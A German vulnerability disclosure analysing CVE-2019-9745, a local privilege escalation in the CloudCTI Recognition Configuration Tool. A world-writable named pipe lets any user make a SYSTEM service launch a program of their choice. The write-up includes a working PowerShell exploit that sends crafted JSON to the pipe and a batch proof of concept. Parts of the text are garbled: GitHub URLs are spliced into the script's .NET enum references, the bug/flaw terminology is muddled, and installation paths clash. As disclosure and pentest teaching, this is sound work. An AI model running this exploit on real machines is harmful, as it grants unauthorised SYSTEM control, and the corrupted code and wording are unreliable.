
Analyse der Schwachstelle CVE-2019-9745.
Kreativität steht im Mittelpunkt des Penetrationstests, was unsere Arbeit interessant hält. Eine Falle ist jedoch die Tendenz, Angriffsszenarien zu 'überkonstruieren' und sich ausschließlich auf Bugs (Fehlerzustände) zu konzentrieren. Fehler (unbeabsichtigtes Verhalten) können jedoch ebenfalls vorhanden sein und ebenso verheerende Auswirkungen haben. Dieser Artikel liefert eine Fallstudie, um die Bedeutung des Pentestings für solche Fehler zu demonstrieren. Gleichzeitig plädiert er für die Anwendung eines SDLC-Prozesses (Secure Development Lifecycle).
Der Artikel ist Teil der RD (verantwortungsvolle Offenlegung) der Schwachstelle CVE-2019-9745 und wurde in enger Zusammenarbeit mit dem Hersteller CloudCTI verfasst. Er gibt einen Überblick auf hoher Ebene über die Schwachstelle, bevor er in die technischen Details eintaucht. Nach der Demonstration der Ausnutzung der Schwachstelle folgt eine Schlussfolgerung mit den gewonnenen Erkenntnissen.
Das CloudCTI Recognition Configuration Tool, das wir während eines unserer Penetrationstests untersucht haben, dient dazu, Informationen aus CRM-Software (Customer Relationship Management) abzurufen. Dies versorgt das Callcenter-Personal während Kundenanrufen mit relevanten Informationen. Es wurden mehrere Probleme identifiziert, die miteinander verknüpft werden können, um das lokale System vollständig zu kompromittieren. Der Hersteller betont, dass dies weder Systeme anderer Kunden noch die eigenen Systeme betrifft.
Wie bei vielen Sicherheitsschwachstellen liegt ein wichtiges Problem in der Validierung von Daten, die außerhalb des eigenen Einflussbereichs entstehen. Ebenso wichtig ist die Erkenntnis, dass Systeme und Software in feindlichen Umgebungen betrieben werden. Zeit und Erfahrung haben uns gelehrt, dass Abhören eine Bedrohung im Internet darstellt. Gleiches gilt jedoch auch für andere Kommunikationskanäle, selbst innerhalb eines Systems. Dies war maßgeblich an der Entdeckung der Schwachstelle beteiligt.
Eine Ursachenanalyse der aufgetretenen Probleme zeigt die Bedeutung von Praktiken wie TM (Bedrohungsmodellierung). TM hilft dabei, Risiken in den frühen Phasen von Design und Entwicklung zu identifizieren. Dies kann zur Minderung nicht akzeptabler Risiken oder zu Neugestaltung/Neuimplementierung führen. Obwohl der Leser ermutigt wird, eine eigene Analyse durchzuführen, werden die Gegenmaßnahmen des Herstellers als Referenz beschrieben.
Die Software des Herstellers besteht aus vier Anwendungen, die zusammenarbeiten. Die erste Anwendung ist die grafische Benutzeroberfläche (GUI). Diese ermöglicht es dem Benutzer, den Abruf von Informationen aus mehreren CRM-Softwarepaketen zu starten:
Die GUI delegiert den Informationsabruf an einen Dienst (die zweite Anwendung), indem sie eine Nachricht sendet. Die ersten Sicherheitsprobleme zeigen sich hier: Nicht nur kann jeder auf dem System die Nachrichten zwischen der GUI und dem Dienst beobachten, um deren Format und Inhalt zu ermitteln (was die Vertraulichkeit beeinträchtigt), sondern auch eigene Nachrichten senden (was die Autorisierung beeinträchtigt). Darüber hinaus wird die Quelle der Nachrichten an den Dienst nicht verifiziert (was die Nichtabstreitbarkeit beeinträchtigt). In der STRIDE-Bedrohungsmodellierung bedeutet dies, dass das System anfällig für Informationsoffenlegung und Manipulation ist. Tatsächlich waren die aus diesen Nachrichten gewonnenen Informationen maßgeblich an der Entdeckung der Schwachstelle beteiligt.
Die dritte Anwendung ist einer von vielen spezialisierten Importeuren. Der Dienst lagert den Informationsabruf für ein bestimmtes CRM-Paket an einen bestimmten Importeur aus. Die von der GUI gesendete Nachricht enthält spezifische Anweisungen für diesen Importeur. Betrachtet man den Exquise-CRM-Importeur, stellt sich heraus, dass der Informationsabruf weiter an eine externe (vierte) Anwendung delegiert wird. Bei der Untersuchung der internen Logik des Importeurs wurde entdeckt, dass die externe Anwendung in der Nachricht zwischen GUI und Dienst angegeben werden konnte. Das Problem, das sich hier zeigt, ist, dass die externe Anwendung ausgeführt wird, ohne ihre Identität zu verifizieren (was die Nichtabstreitbarkeit beeinträchtigt).
Durch die Verkettung dieser Probleme konnten wir Nachrichten abhören, um deren Format zu ermitteln, und eine Nachricht senden, in der wir unsere eigene bösartige externe Anwendung angeben. Diese externe Anwendung wird mit den gleichen Rechten wie der Importeur/Dienst ausgeführt. Da diese Rechte die höchsten im System möglichen sind, wird vollständige Kontrolle erlangt und das System ist kompromittiert.
Der Hersteller entschärft diese Probleme, indem er die Nachrichten verschlüsselt (was das Vertraulichkeitsproblem entschärft) und dabei eindeutige gemeinsame Geheimnisse verwendet (was das Autorisierungsproblem entschärft), auf die nur die authentifizierten Systembenutzer zugreifen können, die sie besitzen (was das erste Nichtabstreitbarkeitsproblem entschärft). Schließlich wird die externe Anwendung kryptografisch signiert (was das zweite Nichtabstreitbarkeitsproblem entschärft). Die Kombination dieser Maßnahmen entschärft die Schwachstelle erfolgreich.
Wenn die GUI-Anwendung CloudCTI Recognition Configuration Tool (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe) installiert ist, wird sie mit Process Explorer untersucht. Dabei zeigt sich, dass ein Begleitdienst (Recognition Update Client Service) installiert und mit NT AUTHORITY\SYSTEM-Rechten ausgeführt wird:
Bei der Untersuchung der Dienstprogrammdatei (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe) wird deutlich, dass sie mit der Programmiersprache .NET entwickelt wurde. Diese kann mit dnSpy dekompiliert werden, um Einblick in ihre interne Logik zu erhalten, die im Folgenden detailliert beschrieben wird.
RUCS2017Service (der interne .NET-Namespace in der Dienstprogrammdatei) entpuppt sich als dünner Wrapper um den Namespace RUCS2017 (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). Dieser definiert einen Named Pipe-Server namens RUCS20151029 unter RUCS2017.dll:RUCS2017.TRUCS2017:902:
Dieser Named-Pipe-Server wird unter RUCS2017.dll:RUCS2017.TRUCS2017:833 gestartet:
Der folgende Powershell-Einzeiler wird verwendet, um zu bestätigen, dass diese Pipe tatsächlich auf dem System aktiv ist:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"
\.\pipe\RUCS20151029
Mithilfe von [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) werden die Zugriffsrechte der Pipe untersucht. Dadurch wird festgestellt, dass die Pipe von jedem Systembenutzer (*Everyone*) gelesen (*R*) und beschrieben (*W*) werden kann:```
PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
\\.\Pipe\RUCS20151029
RW Everyone
RW BUILTIN\Administrators
Wenn die Funktion Anwendung hinzufügen in der GUI verwendet wird (siehe Abbildung 01), wird der folgende unverschlüsselte Datenverkehr auf der Named Pipe mit IO Ninja beobachtet:
Dies enthält die folgenden JSON-Daten:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }
Die Verarbeitung von Nachrichten auf der Pipe ist [ereignisbasiert](https://docs.microsoft.com/en-us/dotnet/standard/events/) und wird im Konstruktor des Dienstes unter *RUCS2017.dll:RUCS2017.TRUCS2017:803* abonniert:

**<div style="text-align: right">Abbildung 06</div>**
In dieser Funktion wird das JSON zunächst unter *RUCS2017.dll:RUCS2017.TRUCS2017:267* deserialisiert:

**<div style="text-align: right">Abbildung 07</div>**
Die spezifische Logik zur Verarbeitung der JSON-Nachrichtenstruktur *WizardGetData* befindet sich unter *RUCS2017.dll:RUCS2017.TRUCS2017:315* im Enumerationsfall *TFerbCommandType.WizardGetData*:

**<div style="text-align: right">Abbildung 08</div>**
Ein Task-Manager startet dann unter *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614* einen neuen Thread und übergibt dabei die geparste Nachrichtenstruktur:

**<div style="text-align: right">Abbildung 09</div>**
Der *DatasourceType* (für ein bestimmtes CRM-Paket) wird unter *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177* dynamisch geladen:

**<div style="text-align: right">Abbildung 10</div>**
Dabei wird die in *json.conf:17* definierte *.dll*-Datei geladen:

**<div style="text-align: right">Abbildung 11</div>**
Die weitere Verarbeitung der Nachricht wird dann an das Plugin *C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll* unter *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197* delegiert (*Abbildung 10*).
*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource* ist von *CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource* abgeleitet (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll*). Diese leitet sich wiederum von *CloudCTI.Datasources.RUS2015.DatasourceBase* ab (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll*). Die Implementierung der Methode *GetData* finden wir unter *CloudCTI.Datasources.RUS2015.DatasourceBase:133*, die *initializeDatasource* unter *CloudCTI.Datasources.RUS2015.DatasourceBase:142* aufruft:

**<div style="text-align: right">Abbildung 12</div>**
Diese ruft wiederum *DatasourceInitialize* unter *CloudCTI.Datasources.RUS2015.DatasourceBase:598* auf:

**<div style="text-align: right">Abbildung 13</div>**
Zunächst wird die JSON-Nachricht unter *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24* geparst:

**<div style="text-align: right">Abbildung 14</div>**
Die Struktur dieser Nachricht wird in der Klasse *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings* definiert. Diese Klasse enthält auch die Eigenschaft *ExporterApplication*, die für uns von großem Interesse ist:

**<div style="text-align: right">Abbildung 15</div>**
Unter *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29* (siehe *Abbildung 14*) wird überprüft, ob die *ExporterApplication* in der Nachricht gesetzt ist. Ist dies nicht der Fall, wird eine Standardanwendung verwendet, andernfalls wird die externe Anwendung aus der Nachricht verwendet. <span style='color:red'>**Hier manifestiert sich die Schwachstelle**</span>. Unter *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41* (siehe *Abbildung 14*) wird die Methode *createExportFile* aufgerufen, die die zuvor ermittelte externe Anwendung startet (Zeile *73*):

**<div style="text-align: right">Abbildung 16</div>**
# Der Exploit #
Da der Dienstprozess (*C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe*) mit *NT AUTHORITY\SYSTEM*-Rechten läuft, hat er Zugriff auf **alle** Facetten des Systems, auf die wir nun ebenfalls über die Eigenschaft *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication* Zugriff haben. Wenn diese in die Nachricht eingebaut wird, ergibt sich die folgende JSON-Vorlage:```JSON
{
"Command":"WizardGetData",
"Params":
{
"ReturnSize":RETURN_SIZE,
"DatasourceType":"exquise exporter",
"DatasourceSettings":
{
"ExquiseFolder":"FOLDER_NAME",
"ExporterApplication":"APPLICATION_NAME"
}
},
"Id":"RANDOM_VALUE"
}
Durch Versuch und Irrtum stellt sich heraus, dass die ExporterApplication ein Batch-Skript sein kann, das keine zusätzlichen Ressourcen herunterladen muss und in einem (Benutzer-)Verzeichnis platziert werden kann, das sich unter der Kontrolle eines Benutzers mit niedrig(er)en Privilegien befindet. Da alle Benutzer in die Named Pipe RUCS20151029 schreiben können, wird das folgende PowerShell-Skript verwendet, um manipuliertes JSON an die Named Pipe zu senden:
CVE-2019-9745.ps1:```powershell
add-Type -assembly "System.Core"
New-Item -ItemType directory -Path data -Force > $null
Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'
$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);
$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'
$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)
$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()
Das folgende Batch-Skript wird in der JSON-Nachricht als externe Anwendung (*ExporterApplication*) angegeben. Als Proof of Concept wird der Name des Benutzers, der es ausführt, in eine Datei geschrieben. Dies kann natürlich durch jeden beliebigen Befehl (bzw. jede Befehlsfolge) ersetzt werden.
**CVE-2019-9745.bat**:```batch
@ECHO OFF
whoami > C:\Users\hacker\exploit\CVE-2019-9745.log
Wenn die Nachricht von einem normalen (wenig privilegierten) Benutzer gesendet wird (unter Verwendung von CVE-2019-9745.ps1), können wir tatsächlich sehen, dass CVE-2019-9745.bat mit erhöhten Privilegien (NT Authority\SYSTEM) ausgeführt wird:
Aus Pentest-Sicht kann das Testen auf Schwachstellen in der (Geschäfts-)Logik eines Systems einen erheblichen zeitlichen Aufwand bedeuten. Da die meisten Pentests Black-Box-Tests (im Gegensatz zu White-Box-Tests) sind, beinhaltet dies in der Regel Reverse Engineering. Wie gezeigt wurde, können Schwachstellen jedoch genauso verheerend sein wie Fehler. Aus diesem Grund wird ein zweigleisiger Ansatz dringend empfohlen, der sowohl auf Fehler als auch auf Schwachstellen testet.
Aus Sicht eines Anbieters ist es wichtig, sich nicht nur die Frage zu stellen, 'wie können unsere Produkte verwendet werden', sondern auch 'wie können sie missbraucht werden'. SDLC (Secure Development Lifecycle) kann beim Risikomanagement in den verschiedenen Phasen eines Produktlebenszyklus helfen: Sicherheits-Anforderungen, Architektur und ein Bedrohungsmodell unterstützen die Phase des High- und Low-Level-Designs. Statische/dynamische Codeanalyse und Peer-Review unterstützen den Entwicklungsprozess. Schließlich bietet Penetrationstests eine (unabhängige) Prüfung. Selbstverständlich sind die Ergebnisse dieser Prozesse gegen einen Risikoappetit abzuwägen. Aus finanzieller Sicht haben verschiedene Studien (The Business Case for Security in the SDLC) ergeben, dass die Behebung von (Sicherheits-)Mängeln in früheren Phasen eines Produktlebenszyklus kosteneffizienter ist als eine spätere Sanierung. Das bedeutet, dass Investitionen in SDLC langfristig die TCO (Total Cost of Ownership) senken können.
Um beide Perspektiven zu verbinden, ist es wichtig, kontinuierlich in Sicherheitsbewusstsein auf allen Ebenen durch Schulungen und Weiterbildung zu investieren. Dadurch wird sichergestellt, dass alle Beteiligten sowohl über Chancen als auch über Sicherheitsrisiken im IT-Bereich auf dem Laufenden bleiben, die sich rasant weiterentwickeln. Auf diese Weise können wir alle zu einer sichereren Gesellschaft beitragen.
Der von uns für diese Schwachstelle vergebene CVSS-Score beträgt 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).